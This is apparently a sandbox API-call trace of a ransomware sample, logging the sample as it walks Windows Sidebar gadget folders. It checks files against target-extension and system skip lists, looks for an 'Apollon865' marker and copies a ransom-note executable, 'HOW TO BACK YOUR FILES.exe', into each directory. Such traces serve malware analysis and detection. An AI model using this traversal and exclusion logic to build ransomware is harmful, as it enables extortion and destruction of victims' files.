	[0052.132] lstrcmpiW (lpString1="css", lpString2="ckp") returned 1
	[0052.132] lstrlenW (lpString="cma") returned 3
	[0052.132] lstrcmpiW (lpString1="css", lpString2="cma") returned 1
	[0052.132] lstrlenW (lpString="cpd") returned 3
	[0052.132] lstrcmpiW (lpString1="css", lpString2="cpd") returned 1
	[0052.132] lstrlenW (lpString="dacpac") returned 6
	[0052.132] lstrcmpiW (lpString1="pu.css", lpString2="dacpac") returned 1
	[0052.132] lstrlenW (lpString="dad") returned 3
	[0052.132] lstrcmpiW (lpString1="css", lpString2="dad") returned -1
	[0052.132] lstrlenW (lpString="dadiagrams") returned 10
	[0052.132] lstrlenW (lpString="daschema") returned 8
	[0052.132] lstrlenW (lpString="db-journal") returned 10
	[0052.132] lstrlenW (lpString="db-shm") returned 6
	[0052.132] lstrcmpiW (lpString1="pu.css", lpString2="db-shm") returned 1
	[0052.132] lstrlenW (lpString="db-wal") returned 6
	[0052.132] lstrcmpiW (lpString1="pu.css", lpString2="db-wal") returned 1
	[0052.132] lstrlenW (lpString="dbc") returned 3
	[0052.132] lstrcmpiW (lpString1="css", lpString2="dbc") returned -1
	[0052.132] lstrlenW (lpString="dbs") returned 3
	[0052.132] lstrcmpiW (lpString1="css", lpString2="dbs") returned -1
	[0052.132] lstrlenW (lpString="dbt") returned 3
	[0052.132] lstrcmpiW (lpString1="css", lpString2="dbt") returned -1
	[0052.132] lstrlenW (lpString="dbv") returned 3
	[0052.132] lstrcmpiW (lpString1="css", lpString2="dbv") returned -1
	[0052.132] lstrlenW (lpString="dbx") returned 3
	[0052.132] lstrcmpiW (lpString1="css", lpString2="dbx") returned -1
	[0052.132] lstrlenW (lpString="dcb") returned 3
	[0052.133] lstrcmpiW (lpString1="css", lpString2="dcb") returned -1
	[0052.133] lstrcmpiW (lpString1="css", lpString2="dct") returned -1
	[0052.133] lstrcmpiW (lpString1="css", lpString2="dcx") returned -1
	[0052.133] lstrcmpiW (lpString1="css", lpString2="ddl") returned -1
	[0052.133] lstrcmpiW (lpString1=".css", lpString2="dlis") returned -1
	[0052.133] lstrcmpiW (lpString1="css", lpString2="dp1") returned -1
	[0052.133] lstrcmpiW (lpString1="css", lpString2="dqy") returned -1
	[0052.133] lstrcmpiW (lpString1="css", lpString2="dsk") returned -1
	[0052.133] lstrcmpiW (lpString1="css", lpString2="dsn") returned -1
	[0052.133] lstrcmpiW (lpString1=".css", lpString2="dtsx") returned -1
	[0052.133] lstrcmpiW (lpString1="css", lpString2="dxl") returned -1
	[0052.133] lstrcmpiW (lpString1="css", lpString2="eco") returned -1
	[0052.133] lstrcmpiW (lpString1="css", lpString2="ecx") returned -1
	[0052.133] lstrcmpiW (lpString1="css", lpString2="edb") returned -1
	[0052.133] lstrcmpiW (lpString1=".css", lpString2="epim") returned -1
	[0052.133] lstrcmpiW (lpString1="css", lpString2="fcd") returned -1
	[0052.133] lstrcmpiW (lpString1="css", lpString2="fdb") returned -1
	[0052.133] lstrcmpiW (lpString1="css", lpString2="fic") returned -1
	[0052.133] lstrcmpiW (lpString1="css", lpString2="fm5") returned -1
	[0052.134] lstrcmpiW (lpString1="css", lpString2="fmp") returned -1
	[0052.134] lstrcmpiW (lpString1="u.css", lpString2="fmp12") returned 1
	[0052.134] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget"
	[0052.134] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591640 | out: hHeap=0x580000) returned 1
	[0052.134] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd88 | out: hHeap=0x580000) returned 1
	[0052.134] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget") returned 59
	[0052.134] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget" | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget"
	[0052.134] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.134] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.140] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.140] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x37272730, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37272730, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0052.141] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.141] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.141] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0052.141] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x37272730, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37272730, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.141] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.141] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0052.141] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0052.141] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0052.141] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9ccadbf, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb9ccadbf, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb44a767c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x5b85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1
	[0052.141] lstrcmpiW (lpString1="drag.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.141] lstrcmpiW (lpString1="drag.png", lpString2="Apollon865.txt.exe") returned 1
	[0052.141] lstrcmpiW (lpString1="drag.png", lpString2=".") returned 1
	[0052.141] lstrcmpiW (lpString1="drag.png", lpString2="..") returned 1
	[0052.141] lstrcmpiW (lpString1="drag.png", lpString2="windows") returned -1
	[0052.141] lstrcmpiW (lpString1="drag.png", lpString2="bootmgr") returned 1
	[0052.141] lstrcmpiW (lpString1="drag.png", lpString2="temp") returned -1
	[0052.141] lstrcmpiW (lpString1="drag.png", lpString2="pagefile.sys") returned -1
	[0052.141] lstrcmpiW (lpString1="drag.png", lpString2="boot") returned 1
	[0052.141] lstrcmpiW (lpString1="drag.png", lpString2="ids.txt") returned -1
	[0052.141] lstrcmpiW (lpString1="drag.png", lpString2="ntuser.dat") returned -1
	[0052.141] lstrcmpiW (lpString1="drag.png", lpString2="perflogs") returned -1
	[0052.141] lstrcmpiW (lpString1="drag.png", lpString2="MSBuild") returned -1
	[0052.141] lstrlenW (lpString="drag.png") returned 8
	[0052.141] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\*") returned 61
	[0052.141] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="drag.png" | out: lpString1="drag.png") returned="drag.png"
	[0052.141] lstrlenW (lpString="drag.png") returned 8
	[0052.141] lstrlenW (lpString="Apollon865") returned 10
	[0052.141] lstrlenW (lpString=".dll") returned 4
	[0052.141] lstrcmpiW (lpString1="drag.png", lpString2=".dll") returned 1
	[0052.142] lstrlenW (lpString=".lnk") returned 4
	[0052.142] lstrcmpiW (lpString1="drag.png", lpString2=".lnk") returned 1
	[0052.142] lstrlenW (lpString=".ini") returned 4
	[0052.142] lstrcmpiW (lpString1="drag.png", lpString2=".ini") returned 1
	[0052.142] lstrlenW (lpString=".sys") returned 4
	[0052.142] lstrcmpiW (lpString1="drag.png", lpString2=".sys") returned 1
	[0052.142] lstrlenW (lpString="drag.png") returned 8
	[0052.142] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="en-US" | out: lpString1="en-US") returned="en-US"
	[0052.142] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd88
	[0052.142] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x84) returned 0x5b90d8
	[0052.142] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd90 | out: ListHead=0x5b76b0, ListEntry=0x59fd90) returned 0x59fc10
	[0052.142] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3724c5d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3724c5d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0052.142] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0052.142] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44cd7dc, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xb44cd7dc, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xb44cd7dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2e0c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1
	[0052.142] lstrcmpiW (lpString1="icon.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0052.142] lstrcmpiW (lpString1="icon.png", lpString2="Apollon865.txt.exe") returned 1
	[0052.142] lstrcmpiW (lpString1="icon.png", lpString2=".") returned 1
	[0052.142] lstrcmpiW (lpString1="icon.png", lpString2="..") returned 1
	[0052.142] lstrcmpiW (lpString1="icon.png", lpString2="windows") returned -1
	[0052.142] lstrcmpiW (lpString1="icon.png", lpString2="bootmgr") returned 1
	[0052.142] lstrcmpiW (lpString1="icon.png", lpString2="temp") returned -1
	[0052.142] lstrcmpiW (lpString1="icon.png", lpString2="pagefile.sys") returned -1
	[0052.142] lstrcmpiW (lpString1="icon.png", lpString2="boot") returned 1
	[0052.142] lstrcmpiW (lpString1="icon.png", lpString2="ids.txt") returned -1
	[0052.142] lstrcmpiW (lpString1="icon.png", lpString2="ntuser.dat") returned -1
	[0052.142] lstrcmpiW (lpString1="icon.png", lpString2="perflogs") returned -1
	[0052.142] lstrcmpiW (lpString1="icon.png", lpString2="MSBuild") returned -1
	[0052.142] lstrlenW (lpString="icon.png") returned 8
	[0052.142] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US") returned 65
	[0052.142] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="icon.png" | out: lpString1="icon.png") returned="icon.png"
	[0052.142] lstrlenW (lpString="icon.png") returned 8
	[0052.142] lstrlenW (lpString="Apollon865") returned 10
	[0052.142] lstrlenW (lpString=".dll") returned 4
	[0052.143] lstrcmpiW (lpString1="icon.png", lpString2=".dll") returned 1
	[0052.143] lstrlenW (lpString=".lnk") returned 4
	[0052.143] lstrcmpiW (lpString1="icon.png", lpString2=".lnk") returned 1
	[0052.143] lstrlenW (lpString=".ini") returned 4
	[0052.143] lstrcmpiW (lpString1="icon.png", lpString2=".ini") returned 1
	[0052.143] lstrlenW (lpString=".sys") returned 4
	[0052.143] lstrcmpiW (lpString1="icon.png", lpString2=".sys") returned 1
	[0052.143] lstrlenW (lpString="icon.png") returned 8
	[0052.143] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="images" | out: lpString1="images") returned="images"
	[0052.143] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc88
	[0052.143] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x86) returned 0x5b8f28
	[0052.143] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc90 | out: ListHead=0x5b76b0, ListEntry=0x59fc90) returned 0x59fd90
	[0052.143] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9cf0f1e, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb9cf0f1e, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb640b89c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1
	[0052.143] lstrcmpiW (lpString1="logo.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0052.143] lstrcmpiW (lpString1="logo.png", lpString2="Apollon865.txt.exe") returned 1
	[0052.143] lstrcmpiW (lpString1="logo.png", lpString2=".") returned 1
	[0052.143] lstrcmpiW (lpString1="logo.png", lpString2="..") returned 1
	[0052.143] lstrcmpiW (lpString1="logo.png", lpString2="windows") returned -1
	[0052.143] lstrcmpiW (lpString1="logo.png", lpString2="bootmgr") returned 1
	[0052.143] lstrcmpiW (lpString1="logo.png", lpString2="temp") returned -1
	[0052.143] lstrcmpiW (lpString1="logo.png", lpString2="pagefile.sys") returned -1
	[0052.143] lstrcmpiW (lpString1="logo.png", lpString2="boot") returned 1
	[0052.143] lstrcmpiW (lpString1="logo.png", lpString2="ids.txt") returned 1
	[0052.143] lstrcmpiW (lpString1="logo.png", lpString2="ntuser.dat") returned -1
	[0052.143] lstrcmpiW (lpString1="logo.png", lpString2="perflogs") returned -1
	[0052.143] lstrcmpiW (lpString1="logo.png", lpString2="MSBuild") returned -1
	[0052.143] lstrlenW (lpString="logo.png") returned 8
	[0052.143] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images") returned 66
	[0052.143] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="logo.png" | out: lpString1="logo.png") returned="logo.png"
	[0052.143] lstrlenW (lpString="logo.png") returned 8
	[0052.143] lstrlenW (lpString="Apollon865") returned 10
	[0052.143] lstrlenW (lpString=".dll") returned 4
	[0052.143] lstrcmpiW (lpString1="logo.png", lpString2=".dll") returned 1
	[0052.144] lstrlenW (lpString=".lnk") returned 4
	[0052.144] lstrcmpiW (lpString1="logo.png", lpString2=".lnk") returned 1
	[0052.144] lstrlenW (lpString=".ini") returned 4
	[0052.144] lstrcmpiW (lpString1="logo.png", lpString2=".ini") returned 1
	[0052.144] lstrlenW (lpString=".sys") returned 4
	[0052.144] lstrcmpiW (lpString1="logo.png", lpString2=".sys") returned 1
	[0052.144] lstrlenW (lpString="logo.png") returned 8
	[0052.144] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images"
	[0052.144] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8f28 | out: hHeap=0x580000) returned 1
	[0052.144] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc88 | out: hHeap=0x580000) returned 1
	[0052.144] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images") returned 66
	[0052.144] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images" | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images"
	[0052.144] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.144] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.149] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.149] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x37272730, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37272730, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0052.163] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.163] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.163] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0052.163] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x37272730, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37272730, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.163] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.163] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0052.163] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0052.163] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0052.163] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44cd7dc, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xb44cd7dc, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xb44cd7dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x6530, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cronometer.png", cAlternateFileName="")) returned 1
	[0052.163] lstrcmpiW (lpString1="cronometer.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.163] lstrcmpiW (lpString1="cronometer.png", lpString2="Apollon865.txt.exe") returned 1
	[0052.163] lstrcmpiW (lpString1="cronometer.png", lpString2=".") returned 1
	[0052.163] lstrcmpiW (lpString1="cronometer.png", lpString2="..") returned 1
	[0052.163] lstrcmpiW (lpString1="cronometer.png", lpString2="windows") returned -1
	[0052.163] lstrcmpiW (lpString1="cronometer.png", lpString2="bootmgr") returned 1
	[0052.163] lstrcmpiW (lpString1="cronometer.png", lpString2="temp") returned -1
	[0052.163] lstrcmpiW (lpString1="cronometer.png", lpString2="pagefile.sys") returned -1
	[0052.164] lstrcmpiW (lpString1="cronometer.png", lpString2="boot") returned 1
	[0052.164] lstrcmpiW (lpString1="cronometer.png", lpString2="ids.txt") returned -1
	[0052.164] lstrcmpiW (lpString1="cronometer.png", lpString2="ntuser.dat") returned -1
	[0052.164] lstrcmpiW (lpString1="cronometer.png", lpString2="perflogs") returned -1
	[0052.164] lstrcmpiW (lpString1="cronometer.png", lpString2="MSBuild") returned -1
	[0052.164] lstrlenW (lpString="cronometer.png") returned 14
	[0052.164] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\*") returned 68
	[0052.164] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="cronometer.png" | out: lpString1="cronometer.png") returned="cronometer.png"
	[0052.164] lstrlenW (lpString="cronometer.png") returned 14
	[0052.164] lstrlenW (lpString="Apollon865") returned 10
	[0052.164] lstrcmpiW (lpString1="ometer.png", lpString2="Apollon865") returned 1
	[0052.164] lstrlenW (lpString=".dll") returned 4
	[0052.164] lstrcmpiW (lpString1="cronometer.png", lpString2=".dll") returned 1
	[0052.164] lstrlenW (lpString=".lnk") returned 4
	[0052.164] lstrcmpiW (lpString1="cronometer.png", lpString2=".lnk") returned 1
	[0052.164] lstrlenW (lpString=".ini") returned 4
	[0052.164] lstrcmpiW (lpString1="cronometer.png", lpString2=".ini") returned 1
	[0052.164] lstrlenW (lpString=".sys") returned 4
	[0052.164] lstrcmpiW (lpString1="cronometer.png", lpString2=".sys") returned 1
	[0052.164] lstrlenW (lpString="cronometer.png") returned 14
	[0052.164] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="cronometer_dot.png" | out: lpString1="cronometer_dot.png") returned="cronometer_dot.png"
	[0052.164] lstrlenW (lpString="cronometer_dot.png") returned 18
	[0052.164] lstrlenW (lpString="Apollon865") returned 10
	[0052.164] lstrcmpiW (lpString1="er_dot.png", lpString2="Apollon865") returned 1
	[0052.164] lstrlenW (lpString=".dll") returned 4
	[0052.164] lstrcmpiW (lpString1="cronometer_dot.png", lpString2=".dll") returned 1
	[0052.164] lstrlenW (lpString=".lnk") returned 4
	[0052.164] lstrcmpiW (lpString1="cronometer_dot.png", lpString2=".lnk") returned 1
	[0052.164] lstrlenW (lpString=".ini") returned 4
	[0052.164] lstrcmpiW (lpString1="cronometer_dot.png", lpString2=".ini") returned 1
	[0052.164] lstrlenW (lpString=".sys") returned 4
	[0052.165] lstrcmpiW (lpString1="cronometer_dot.png", lpString2=".sys") returned 1
	[0052.165] lstrlenW (lpString="cronometer_dot.png") returned 18
	[0052.165] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="cronometer_h.png" | out: lpString1="cronometer_h.png") returned="cronometer_h.png"
	[0052.165] lstrlenW (lpString="cronometer_h.png") returned 16
	[0052.165] lstrlenW (lpString="Apollon865") returned 10
	[0052.165] lstrcmpiW (lpString1="eter_h.png", lpString2="Apollon865") returned 1
	[0052.165] lstrlenW (lpString=".dll") returned 4
	[0052.165] lstrcmpiW (lpString1="cronometer_h.png", lpString2=".dll") returned 1
	[0052.165] lstrlenW (lpString=".lnk") returned 4
	[0052.165] lstrcmpiW (lpString1="cronometer_h.png", lpString2=".lnk") returned 1
	[0052.165] lstrlenW (lpString=".ini") returned 4
	[0052.165] lstrcmpiW (lpString1="cronometer_h.png", lpString2=".ini") returned 1
	[0052.165] lstrlenW (lpString=".sys") returned 4
	[0052.165] lstrcmpiW (lpString1="cronometer_h.png", lpString2=".sys") returned 1
	[0052.165] lstrlenW (lpString="cronometer_h.png") returned 16
	[0052.165] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="cronometer_m.png" | out: lpString1="cronometer_m.png") returned="cronometer_m.png"
	[0052.165] lstrlenW (lpString="cronometer_m.png") returned 16
	[0052.165] lstrlenW (lpString="Apollon865") returned 10
	[0052.165] lstrcmpiW (lpString1="eter_m.png", lpString2="Apollon865") returned 1
	[0052.165] lstrlenW (lpString=".dll") returned 4
	[0052.165] lstrcmpiW (lpString1="cronometer_m.png", lpString2=".dll") returned 1
	[0052.165] lstrlenW (lpString=".lnk") returned 4
	[0052.165] lstrcmpiW (lpString1="cronometer_m.png", lpString2=".lnk") returned 1
	[0052.165] lstrlenW (lpString=".ini") returned 4
	[0052.165] lstrcmpiW (lpString1="cronometer_m.png", lpString2=".ini") returned 1
	[0052.165] lstrlenW (lpString=".sys") returned 4
	[0052.165] lstrcmpiW (lpString1="cronometer_m.png", lpString2=".sys") returned 1
	[0052.165] lstrlenW (lpString="cronometer_m.png") returned 16
	[0052.165] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="cronometer_s.png" | out: lpString1="cronometer_s.png") returned="cronometer_s.png"
	[0052.166] lstrlenW (lpString="cronometer_s.png") returned 16
	[0052.166] lstrlenW (lpString="Apollon865") returned 10
	[0052.166] lstrcmpiW (lpString1="eter_s.png", lpString2="Apollon865") returned 1
	[0052.166] lstrlenW (lpString=".dll") returned 4
	[0052.166] lstrcmpiW (lpString1="cronometer_s.png", lpString2=".dll") returned 1
	[0052.166] lstrlenW (lpString=".lnk") returned 4
	[0052.166] lstrcmpiW (lpString1="cronometer_s.png", lpString2=".lnk") returned 1
	[0052.166] lstrlenW (lpString=".ini") returned 4
	[0052.166] lstrcmpiW (lpString1="cronometer_s.png", lpString2=".ini") returned 1
	[0052.166] lstrlenW (lpString=".sys") returned 4
	[0052.166] lstrcmpiW (lpString1="cronometer_s.png", lpString2=".sys") returned 1
	[0052.166] lstrlenW (lpString="cronometer_s.png") returned 16
	[0052.166] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="cronometer_settings.png" | out: lpString1="cronometer_settings.png") returned="cronometer_settings.png"
	[0052.166] lstrlenW (lpString="cronometer_settings.png") returned 23
	[0052.166] lstrlenW (lpString="Apollon865") returned 10
	[0052.166] lstrcmpiW (lpString1="ttings.png", lpString2="Apollon865") returned 1
	[0052.166] lstrlenW (lpString=".dll") returned 4
	[0052.166] lstrcmpiW (lpString1="cronometer_settings.png", lpString2=".dll") returned 1
	[0052.166] lstrlenW (lpString=".lnk") returned 4
	[0052.166] lstrcmpiW (lpString1="cronometer_settings.png", lpString2=".lnk") returned 1
	[0052.166] lstrlenW (lpString=".ini") returned 4
	[0052.166] lstrcmpiW (lpString1="cronometer_settings.png", lpString2=".ini") returned 1
	[0052.166] lstrlenW (lpString=".sys") returned 4
	[0052.166] lstrcmpiW (lpString1="cronometer_settings.png", lpString2=".sys") returned 1
	[0052.166] lstrlenW (lpString="cronometer_settings.png") returned 23
	[0052.166] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="diner.png" | out: lpString1="diner.png") returned="diner.png"
	[0052.166] lstrlenW (lpString="diner.png") returned 9
	[0052.166] lstrlenW (lpString="Apollon865") returned 10
	[0052.166] lstrlenW (lpString=".dll") returned 4
	[0052.166] lstrcmpiW (lpString1="diner.png", lpString2=".dll") returned 1
	[0052.166] lstrlenW (lpString=".lnk") returned 4
	[0052.167] lstrcmpiW (lpString1="diner.png", lpString2=".lnk") returned 1
	[0052.167] lstrlenW (lpString=".ini") returned 4
	[0052.167] lstrcmpiW (lpString1="diner.png", lpString2=".ini") returned 1
	[0052.167] lstrlenW (lpString=".sys") returned 4
	[0052.167] lstrcmpiW (lpString1="diner.png", lpString2=".sys") returned 1
	[0052.167] lstrlenW (lpString="diner.png") returned 9
	[0052.167] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="diner_dot.png" | out: lpString1="diner_dot.png") returned="diner_dot.png"
	[0052.167] lstrlenW (lpString="diner_dot.png") returned 13
